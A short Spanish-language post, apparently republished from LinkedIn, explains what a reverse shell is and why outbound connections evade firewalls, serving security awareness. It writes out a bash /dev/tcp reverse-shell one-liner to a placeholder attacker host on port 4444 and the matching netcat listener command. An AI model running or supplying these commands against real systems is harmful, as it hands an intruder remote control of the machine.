Por Nora B. Tobar — Publicado originalmente en LinkedIn
Una reverse shell es una técnica utilizada por atacantes para tomar el control de una máquina remota sin levantar sospechas. En lugar de que el atacante se conecte a la víctima, es la víctima quien inicia una conexión hacia el atacante.
¿Por qué esto es importante? Porque muchas redes permiten tráfico de salida (de adentro hacia afuera), pero bloquean tráfico entrante. Una reverse shell aprovecha eso: se conecta al atacante, y le da una terminal remota.
La víctima ejecuta algo como:
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Y el atacante escucha con:
nc -lvnp 4444
Así, el atacante obtiene una shell en la máquina comprometida. Puede escalar privilegios, moverse lateralmente, exfiltrar datos... lo que quiera.
Una reverse shell no es algo avanzado. Es algo básico. Y por eso, sigue funcionando.